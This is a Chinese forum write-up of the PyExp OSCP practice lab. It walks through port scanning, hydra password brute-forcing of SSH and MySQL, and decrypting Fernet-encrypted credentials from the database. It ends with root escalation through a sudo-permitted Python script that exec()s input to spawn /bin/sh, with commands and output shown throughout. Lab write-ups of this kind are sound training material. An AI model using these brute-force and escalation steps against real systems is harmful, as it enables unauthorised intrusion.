OSCP系列靶场-Esay-PyExp

杳若   ·   发表于 2023-07-30 21:51:43   ·   CTF&WP专版

OSCP靶场系列-Esay-PyExp

总结

getwebshell : Mysql端点发现 → 暴力破解root密码 → 利用20w大字典爆破成功→ 进入数据库发现加密信息 → fernet解密得到账号密码 → ssh登录

提 权 思 路 : sudo特权文件发现 → python提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

  • 启动靶机
    获取目标机器IP → 192.168.203.118

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.203.118

PORT     STATE SERVICE
1337/tcp open  waste
3306/tcp open  mysql


开放的端口-→1337,3306

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p1337,3306 192.168.203.118

PORT     STATE SERVICE VERSION      
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2     
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1

信息收集-端口测试

1337-SSH端口的信息收集

1337-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2

# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.9p1

1337-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.203.118 -v -p 1337

显示publickeypassword就是支持密钥以及密码登录

1337-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.203.118 -p 1337
# 密码尝试
password → root


弱密码尝试失败

1337-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.118 ssh -s 1337

挂着工具进行爆破,我们尝试后续信息收集

3306-Mysql端口的信息收集

3306-Mysql端口的默认脆弱口令测试

# 尝试直接使用mysql协议进行root:root尝试(远程需-h)
mysql -h [目标IP] -u [用户名] -p [密码]
mysql -h 192.168.203.118 -uroot -proot

3306-Mysql端口的默认账号爆破测试

# 尝试hydra爆破mysql中root账户密码
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -vV 192.168.203.118  mysql

尝试爆破发现没有密码,陷入了僵局,决定上大字典

3306-Mysql端口的默认账号爆破测试

# 尝试hydra爆破mysql中root账户密码
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 64 -vV 192.168.203.118  mysql

大字典爆破了很久很久才发现了密码prettywoman

3306-Mysql端口登录

mysql -h 192.168.203.118 -uroot -pprettywoman

3306-Mysql端口的用户信息查找

主要查找登录的账号密码等信息

# 展示数据库
show databases;
# 使用需要查找的数据库
use data;
# 展示表
show tables;

# 寻找我们需要的表,通常名为user、admin
select * from fernet;

发现了加密的credkeyy

cred
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

通过百度发现表名已经给了提示,加密类型就是fernet
https://cryptography.io/en/latest/fernet/讲解了是如何加密的

# 加载
from cryptography.fernet import Fernet
# 这里输入key
key = Fernet.generate_key()
f = Fernet(key)
# 这里输入密钥
token = f.encrypt(b"my deep dark secret")
# 得到结果
f.decrypt(token)
b'my deep dark secret'
python3

from cryptography.fernet import Fernet
# 这里输入key(报错进行修改)
# key = Fernet.generate_key('UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=')
# 代码里是要生成一个key,这里是我们指定key
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
# 这里输入密钥(不对 不用加密)
# token = f.encrypt(b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=")
# 直接指定token进行解密
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
# 得到结果
f.decrypt(token)
# b'my deep dark secret'
b'lucy:wJ9`"Lemdv9[FEw-'

得到了账号和密码的信息

lucy:wJ9`"Lemdv9[FEw-

漏洞利用-getwebshell

获取账号密码之后利用SSH进行登录

sudo ssh lucy @192.168.203.118 -p1337
password → wJ9`"Lemdv9[FEw-

内网遨游-getshell

FLAG1获取

lucy @pyexp:~$ find / -name local.txt 2→/dev/null
/home/lucy/local.txt
lucy @pyexp:~$ cat /home/lucy/local.txt
ebae58ce8fe13bf90c1ac089200656c0

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
lucy @pyexp:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

lucy @pyexp:~$ uname -a
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

lucy @pyexp:~$ id
uid=1000(lucy) gid=1000(lucy) groups=1000(lucy),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
lucy @pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py

权限提升

sudo权限提升之python

查看了一下可以sudo的文件,可以读

lucy @pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)

会执行uinput的内容,执行之后可以在后面输入内容,因为是input

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

# 尝试在后面加上import os; os.system("/bin/sh")
lucy @pyexp:/opt$ sudo /usr/bin/python2 /opt/exp.py
how are you?import os; os.system("/bin/sh")
# id
uid=0(root) gid=0(root) groups=0(root)

提权成功

FLAG2获取

# cat /root/proof.txt
419157ef0f5cab7409e0818499f4bda6

完结撒花~

后记

没想到的点:
数据库中可以通过load_file读取文件,用select load_file('/etc/passwd')

利用hyrda爆破大字典总觉得力不从心,查阅资源发现可以使用medusa进行爆破

用户名金币积分时间理由
Track-魔方 400.00 0 2023-08-06 14:02:36 深度 200 普适 100 可读 100

打赏我,让我更有动力~

0 条回复   |  直到 9个月前 | 261 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.